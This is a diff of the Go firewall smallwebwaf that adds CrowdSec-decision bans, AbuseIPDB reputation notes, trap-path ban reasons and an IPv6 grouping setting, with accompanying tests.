gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+8 -4
View File
@@ -44,13 +44,17 @@ const (
// EventAnomaly is a count of requests or bytes over an anomaly // EventAnomaly is a count of requests or bytes over an anomaly
// threshold. // threshold.
EventAnomaly = "anomaly" EventAnomaly = "anomaly"
// EventWAFBlock comes with the Core Rule Set; nothing raises it yet. // EventWAFBlock is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
EventWAFBlock = "waf_block" EventWAFBlock = "waf_block"
// EventReputationHit is a request whose client a blocklist or a DNSBL // EventReputationHit is a request whose client a blocklist, the
// zone lists. // CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit.
EventReputationHit = "reputation_hit" EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch // EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
// of a list failing, or a query to a DNSBL zone failing or refused. // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
// failing or refused, or the day's AbuseIPDB checks used up.
EventSourceFailure = "source_failure" EventSourceFailure = "source_failure"
// EventFileError is a rule file or state file edited while smallwebwaf // EventFileError is a rule file or state file edited while smallwebwaf
// runs that does not parse, a replacement of the lookup database that // runs that does not parse, a replacement of the lookup database that
+4 -2
View File
@@ -27,7 +27,8 @@ const maxCounters = 20000
// The scopes, what a counter counts, as the settings, alerts.json and the // The scopes, what a counter counts, as the settings, alerts.json and the
// alerts name them. // alerts name them.
const ( const (
// ScopeClient is one client: an IPv4 address, or an IPv6 /64. // ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX.
ScopeClient = "client" ScopeClient = "client"
// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX // ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
// or SWWAF_ANOMALY_NET_V6_PREFIX long. // or SWWAF_ANOMALY_NET_V6_PREFIX long.
@@ -103,7 +104,8 @@ type Counter struct {
// Request is a request that has ended, as the counters count it. // Request is a request that has ended, as the counters count it.
type Request struct { type Request struct {
// Client is the client's address, and ClientGroup the client it is // Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or its IPv6 /64. // counted as: its IPv4 address, or the IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX its address is in.
Client netip.Addr Client netip.Addr
ClientGroup netip.Prefix ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when // ASN, ASName and Country are the client's as looked up, each "" when
+4 -3
View File
@@ -2,6 +2,7 @@ package bans_test
import ( import (
"net/netip" "net/netip"
"reflect"
"testing" "testing"
"time" "time"
@@ -117,7 +118,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
} }
held := ledger.Bans(netblock) held := ledger.Bans(netblock)
if len(held) != 2 || held[0] != lifted { if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held) t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
} }
} }
@@ -212,7 +213,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{}, got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
"probes for logins") "probes for logins")
if got != want { if !reflect.DeepEqual(got, want) {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
} }
@@ -224,7 +225,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
// It refuses once the ban for the limit has ended. // It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour)) ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
if !banned || ban != want { if !banned || !reflect.DeepEqual(ban, want) {
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v", t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
ban, banned, want) ban, banned, want)
} }
+113 -43
View File
@@ -1,8 +1,10 @@
// Package bans is the ban ledger: the bans smallwebwaf makes on the // Package bans is the ban ledger: the bans smallwebwaf makes on the
// netblocks of clients that break a rate limit or a byte limit or show a // netblocks of clients that break a rate limit, a byte limit or the error
// clear sign of attack, and those an admin makes, with their notes, as // burst, show a clear sign of attack or are listed by the CrowdSec
// the "Bans" section of SPEC.md describes. The bans are kept in memory, // decision list, and
// and written to bans.json and read from it by the state package. // those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package.
package bans package bans
import ( import (
@@ -26,6 +28,9 @@ const (
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an // CauseAdmin is a ban an admin made, or one smallwebwaf made that an
// admin keeps. It is never dropped. // admin keeps. It is never dropped.
CauseAdmin = "admin" CauseAdmin = "admin"
// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec"
) )
// repeatFactor is how many times as long as the netblock's last ban a ban // repeatFactor is how many times as long as the netblock's last ban a ban
@@ -40,9 +45,9 @@ type Rules struct {
// LimitBanDuration is how long a first ban for a broken limit lasts. // LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's // LimitBanRepeatWindow is how soon after the end of the netblock's
// ban that ended last, other than one for a clear sign of attack, a // ban that ended last, other than one for a clear sign of attack or for
// broken limit counts as a repeat, which bans for repeatFactor times as // CrowdSec's decision, a broken limit counts as a repeat, which bans for
// long as that ban. // repeatFactor times as long as that ban.
LimitBanRepeatWindow time.Duration LimitBanRepeatWindow time.Duration
// MaxBanDuration is the longest ban for a broken limit; one that would // MaxBanDuration is the longest ban for a broken limit; one that would
// be longer is permanent instead. // be longer is permanent instead.
@@ -63,10 +68,11 @@ type Ban struct {
Start time.Time Start time.Time
// Expires is when the ban ends, zero for a permanent ban. // Expires is when the ban ends, zero for a permanent ban.
Expires time.Time Expires time.Time
// Cause is CauseLimit, CauseAttack or CauseAdmin. // Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
Cause string Cause string
// Reason is a short text: for a ban smallwebwaf made, the limit broken // Reason is a short text: for a ban smallwebwaf made, the limit broken,
// or the rule that matched; for an admin's, what the admin wrote. // the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote.
Reason string Reason string
// Lifted is when an admin lifted the ban, zero while no admin has. A // Lifted is when an admin lifted the ban, zero while no admin has. A
// lifted ban refuses nothing, and does not make the netblock's next // lifted ban refuses nothing, and does not make the netblock's next
@@ -98,10 +104,11 @@ type Notes struct {
ASName string `json:"as_name"` ASName string `json:"as_name"`
Country string `json:"country"` Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit, // Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit or "bytes" for a // what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit, the limit that was broken, its window, "minute", "hour" // byte limit or "refusals" for the error burst, the limit that was
// or "day", and the count reached: the client's requests, or bytes, in // broken, its window, "minute", "hour" or "day", and the count reached:
// the window, those of the request that broke the limit included. // the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
// These are what counted toward the ban, and the window is the time // These are what counted toward the ban, and the window is the time
// over which they came. // over which they came.
Kind string `json:"kind,omitempty"` Kind string `json:"kind,omitempty"`
@@ -115,11 +122,18 @@ type Notes struct {
LimitPercent *int64 `json:"limit_percent,omitempty"` LimitPercent *int64 `json:"limit_percent,omitempty"`
LimitPercentSetting string `json:"limit_percent_setting,omitempty"` LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id // RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target. // of the rule file rule that matched, and its target; TrapPath is, for
RuleID string `json:"rule_id,omitempty"` // one for a request for a path in SWWAF_TRAP_PATHS, that path.
Target string `json:"target,omitempty"` RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
TrapPath string `json:"trap_path,omitempty"`
// Reputation is the reputation sources that listed the client when
// the request that caused the ban was made, in the order the request
// log's reputation names them. It is left out when none did.
Reputation []ReputationHit `json:"reputation,omitempty"`
// Request is the request that broke the limit, or whose bytes broke // Request is the request that broke the limit, or whose bytes broke
// it, or that was the clear sign of attack. // it, that was the clear sign of attack, or that came from a client the
// CrowdSec decision list lists.
Request Request `json:"request"` Request Request `json:"request"`
// Requests is how many requests the netblock has sent since it was // Requests is how many requests the netblock has sent since it was
// first seen, and Refused how many of them the ban has refused so // first seen, and Refused how many of them the ban has refused so
@@ -131,11 +145,22 @@ type Notes struct {
EarlierBans EarlierBans `json:"earlier_bans"` EarlierBans EarlierBans `json:"earlier_bans"`
} }
// ReputationHit is a reputation source that listed a client, as a
// reputation_hit alert's detail gives it: Source is the URL of the
// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
// client.
type ReputationHit struct {
Source string `json:"source"`
Score *int64 `json:"score,omitempty"`
}
// EarlierBans counts a netblock's bans before a ban, by cause. // EarlierBans counts a netblock's bans before a ban, by cause.
type EarlierBans struct { type EarlierBans struct {
Limit int `json:"limit"` Limit int `json:"limit"`
Attack int `json:"attack"` Attack int `json:"attack"`
Admin int `json:"admin"` Admin int `json:"admin"`
CrowdSec int `json:"crowdsec"`
} }
// Request is a request in a ban's notes. Each text is cut to 256 bytes. // Request is a request in a ban's notes. Each text is cut to 256 bytes.
@@ -263,7 +288,8 @@ func activeBan(bans []Ban, now time.Time) *Ban {
// BanForLimit bans netblock at now for a broken limit, with notes, and // BanForLimit bans netblock at now for a broken limit, with notes, and
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban // returns the ban, and true. A first ban lasts LimitBanDuration. A ban
// made within LimitBanRepeatWindow after the netblock's ban that ended // made within LimitBanRepeatWindow after the netblock's ban that ended
// last, other than one for a clear sign of attack or a lifted one, lasts // last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer // repeatFactor times as long as that one. A ban that would be longer
// than MaxBanDuration is permanent instead. If a ban on netblock is still // than MaxBanDuration is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is // active, as when two of its requests break a limit at once, that ban is
@@ -274,7 +300,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit( func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, true) return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
} }
// WouldBanForLimit returns what BanForLimit would, without making the ban: // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -282,18 +308,18 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit( func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, false) return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
} }
// BanForAttack bans netblock at now for a clear sign of attack, with // BanForAttack bans netblock at now for a clear sign of attack, with
// notes, and returns the ban, and whether it made it, as BanForLimit // notes, and returns the ban, and whether it made it, as BanForLimit
// does. A first ban lasts AttackBanDuration; once the netblock has had // does. A first ban lasts AttackBanDuration; once the netblock has had
// one that was not lifted, the next is permanent. Its reason is "matched // one that was not lifted, the next is permanent. Its reason is "matched
// the rule <RuleID>". // the rule <RuleID>", or "asked for the trap path <TrapPath>".
func (l *Ledger) BanForAttack( func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, true) return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
} }
// WouldBanForAttack returns what BanForAttack would, without making the // WouldBanForAttack returns what BanForAttack would, without making the
@@ -301,12 +327,35 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack( func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, false) return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
false)
} }
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
// or CauseAttack, made at now would be permanent, as BanForLimit or // decision on the client ends, with notes, and returns the ban, and
// BanForAttack would make it. It works out nothing else of the ban. // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
true)
}
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
false)
}
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
// nothing else of the ban. A ban for CrowdSec's decision is never
// permanent: it ends with the decision.
func (l *Ledger) WouldBePermanent( func (l *Ledger) WouldBePermanent(
netblock netip.Prefix, now time.Time, cause string, netblock netip.Prefix, now time.Time, cause string,
) bool { ) bool {
@@ -318,11 +367,14 @@ func (l *Ledger) WouldBePermanent(
held = *bans held = *bans
} }
if cause == CauseAttack { switch cause {
case CauseAttack:
return l.attackExpiry(held, now).IsZero() return l.attackExpiry(held, now).IsZero()
case CauseLimit:
return l.limitExpiry(held, now).IsZero()
default: // CauseCrowdSec
return false
} }
return l.limitExpiry(held, now).IsZero()
} }
// limitReason is the reason of a ban for a broken limit, with notes. // limitReason is the reason of a ban for a broken limit, with notes.
@@ -334,9 +386,19 @@ func limitReason(notes Notes) string {
// attackReason is the reason of a ban for a clear sign of attack, with // attackReason is the reason of a ban for a clear sign of attack, with
// notes. // notes.
func attackReason(notes Notes) string { func attackReason(notes Notes) string {
if notes.TrapPath != "" {
return "asked for the trap path " + notes.TrapPath
}
return "matched the rule " + notes.RuleID return "matched the rule " + notes.RuleID
} }
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
// scenario made.
func crowdSecReason(scenario string) string {
return "CrowdSec's decision for " + scenario
}
// BanForAdmin bans netblock at now for an admin, with reason, until // BanForAdmin bans netblock at now for an admin, with reason, until
// expires, or for good when expires is zero, and returns the ban, whose // expires, or for good when expires is zero, and returns the ban, whose
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the // cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
@@ -574,11 +636,14 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
} }
// ban bans netblock at now for cause, with reason and notes, as // ban bans netblock at now for cause, with reason and notes, as
// BanForLimit and BanForAttack describe, and returns the ban, and whether // BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
// it made it. Unless keep is true, the ban is not made, only returned: it // ban, and whether it made it. expires is when a ban for CauseCrowdSec
// is the ban that would have been made. // ends, and zero for the others, whose end the ledger works out. Unless
// keep is true, the ban is not made, only returned: it is the ban that
// would have been made.
func (l *Ledger) ban( func (l *Ledger) ban(
netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, keep bool, netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
keep bool,
) (Ban, bool) { ) (Ban, bool) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -600,10 +665,13 @@ func (l *Ledger) ban(
notes.Request = notes.Request.cut() notes.Request = notes.Request.cut()
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes} ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
if cause == CauseAttack { switch cause {
case CauseAttack:
ban.Expires = l.attackExpiry(held, now) ban.Expires = l.attackExpiry(held, now)
} else { case CauseLimit:
ban.Expires = l.limitExpiry(held, now) ban.Expires = l.limitExpiry(held, now)
default: // CauseCrowdSec
ban.Expires = expires
} }
if !keep { if !keep {
@@ -632,6 +700,8 @@ func earlierBans(held []Ban) EarlierBans {
earlier.Attack++ earlier.Attack++
case CauseAdmin: case CauseAdmin:
earlier.Admin++ earlier.Admin++
case CauseCrowdSec:
earlier.CrowdSec++
} }
} }
@@ -725,16 +795,16 @@ func (l *Ledger) add(ban Ban) {
// limitExpiry returns when a ban for a broken limit made at now ends, or // limitExpiry returns when a ban for a broken limit made at now ends, or
// zero when it is permanent. held are the netblock's bans, none of them // zero when it is permanent. held are the netblock's bans, none of them
// active, of which the one that ended last, other than a ban for a clear // active, of which the one that ended last, other than a ban for a clear
// sign of attack or a lifted one, can make the new ban longer. A ban an // sign of attack or for CrowdSec's decision, or a lifted one, can make the
// admin adds to bans.json can start after another and end before it, so // new ban longer. A ban an admin adds to bans.json can start after
// that one is looked for among them all. // another and end before it, so that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.rules.LimitBanDuration length := l.rules.LimitBanDuration
var last *Ban var last *Ban
for i, ban := range held { for i, ban := range held {
if ban.Cause != CauseAttack && ban.Lifted.IsZero() && if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) { (last == nil || ban.Expires.After(last.Expires)) {
last = &held[i] last = &held[i]
} }
+8 -7
View File
@@ -2,6 +2,7 @@ package bans_test
import ( import (
"net/netip" "net/netip"
"reflect"
"strings" "strings"
"testing" "testing"
"time" "time"
@@ -130,13 +131,13 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
if made || again != first || len(ledger.Bans(netblock)) != 1 { if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+ t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first) "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
} }
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{}) again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
if made || again != first { if made || !reflect.DeepEqual(again, first) {
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made", t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
again, made, first) again, made, first)
} }
@@ -182,7 +183,7 @@ func TestFindCountsNothing(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
if !banned || got != ban { if !banned || !reflect.DeepEqual(got, ban) {
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban) t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
} }
@@ -191,7 +192,7 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end") t.Error("the ban did not end")
} }
if notes := ledger.Bans(netblock)[0].Notes; notes != ban.Notes { if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes) t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
} }
} }
@@ -247,7 +248,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
held := ledger.Bans(netblock) held := ledger.Bans(netblock)
if len(held) != 1 || held[0] != second || if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the ledger holds %+v, want only the second ban, "+ t.Errorf("the ledger holds %+v, want only the second ban, "+
"with 1 earlier ban for a limit", held) "with 1 earlier ban for a limit", held)
@@ -342,7 +343,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
// While the first ban lasts, none would be made. // While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{}) during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
if would || during != first { if would || !reflect.DeepEqual(during, first) {
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v", t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
would, during, first) would, during, first)
} }
@@ -371,7 +372,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
// The ban made is the one that would have been. // The ban made is the one that would have been.
made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes) made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
if made != limit { if !reflect.DeepEqual(made, limit) {
t.Errorf("the ban made is %+v, want %+v", made, limit) t.Errorf("the ban made is %+v, want %+v", made, limit)
} }
} }
+90
View File
@@ -0,0 +1,90 @@
package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// scenario is the scenario of the tests' CrowdSec decisions.
const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
scenario, bans.Notes{})
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan, ledger.Bans(netblock))
}
const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
bans.Notes{})
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s", made, ban, would, expires)
}
// A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
}
}
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
// A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond)
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was", banned, held, madePermanent)
}
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
t.Error("the ban refuses a request once the decision has ended")
}
}
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does.
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
scenario, bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit)
}
}
+3 -2
View File
@@ -2,6 +2,7 @@ package bans_test
import ( import (
"net/netip" "net/netip"
"reflect"
"slices" "slices"
"strings" "strings"
"testing" "testing"
@@ -224,7 +225,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
ledger.Load([]bans.Ban{later, earlier}) ledger.Load([]bans.Ban{later, earlier})
held := ledger.Snapshot() held := ledger.Snapshot()
if len(held) != 1 || held[0] != later { if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
t.Errorf("the ledger holds %+v, want only the ban that began later", held) t.Errorf("the ledger holds %+v, want only the ban that began later", held)
} }
} }
@@ -267,7 +268,7 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
bans.Notes{}) bans.Notes{})
want := []bans.Ban{first, second, kept} want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !slices.Equal(got, want) { if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("the ledger holds %+v, want %+v", got, want) t.Errorf("the ledger holds %+v, want %+v", got, want)
} }
} }
+350 -25
View File
@@ -42,12 +42,18 @@ type Config struct {
InstanceName string InstanceName string
// Observe is true in observe mode, when SWWAF_MODE is observe rather // Observe is true in observe mode, when SWWAF_MODE is observe rather
// than enforce: a request that SWWAF_DENY_NETS, a ban, the country // than enforce: a request that SWWAF_DENY_NETS, a ban, the country
// lists, a rate limit or a rule would refuse is passed to the app // lists, a rate limit, a rule or the Core Rule Set would refuse is
// instead, and no ban is made. // passed to the app instead, and no ban is made.
Observe bool Observe bool
// TrustedProxies are the netblocks whose X-Forwarded-For is // TrustedProxies are the netblocks whose X-Forwarded-For is
// believed (SWWAF_TRUSTED_PROXIES). // believed (SWWAF_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix TrustedProxies []netip.Prefix
// IPv6GroupPrefix is the length of the IPv6 netblock that is one client
// (SWWAF_IPV6_GROUP_PREFIX), from 32 to 128.
IPv6GroupPrefix int
// MaxTrackedClients is the most clients the table of clients holds, in
// memory and in clients.json (SWWAF_MAX_TRACKED_CLIENTS).
MaxTrackedClients int
// ClientRequestTimeout bounds reading the whole request from the // ClientRequestTimeout bounds reading the whole request from the
// client (SWWAF_CLIENT_REQUEST_TIMEOUT). // client (SWWAF_CLIENT_REQUEST_TIMEOUT).
ClientRequestTimeout time.Duration ClientRequestTimeout time.Duration
@@ -155,18 +161,33 @@ type Config struct {
// DNSBLZones are the DNSBL zones clients are asked about // DNSBLZones are the DNSBL zones clients are asked about
// (SWWAF_DNSBL_ZONES), through DNSBLResolver (SWWAF_DNSBL_RESOLVER), or // (SWWAF_DNSBL_ZONES), through DNSBLResolver (SWWAF_DNSBL_RESOLVER), or
// the host's resolver while that is the zero AddrPort. // the host's resolver while that is the zero AddrPort.
// ReputationAction is what is done with a client a zone's verdict lists // AbuseIPDBKey is the key of the AbuseIPDB account clients are checked
// (SWWAF_REPUTATION_ACTION): deny, limit or log; for limit, // with (SWWAF_ABUSEIPDB_KEY), "" while it is unset and none is. A score
// ReputationLimitPercent is the percentage of every limit it gets. A // of AbuseIPDBMinScore or more is a hit (SWWAF_ABUSEIPDB_MIN_SCORE), and
// verdict is used for ReputationCacheTTL after it was fetched // at most AbuseIPDBDailyBudget checks are made a day
// (SWWAF_REPUTATION_CACHE_TTL), and a query may take ReputationTimeout // (SWWAF_ABUSEIPDB_DAILY_BUDGET).
// (SWWAF_REPUTATION_TIMEOUT). Neither can be off. // ReputationAction is what is done with a client a zone's verdict lists,
// or whose score is a hit (SWWAF_REPUTATION_ACTION): deny, limit or log;
// for limit, ReputationLimitPercent is the percentage of every limit it
// gets. A verdict or a score is used for ReputationCacheTTL after it was
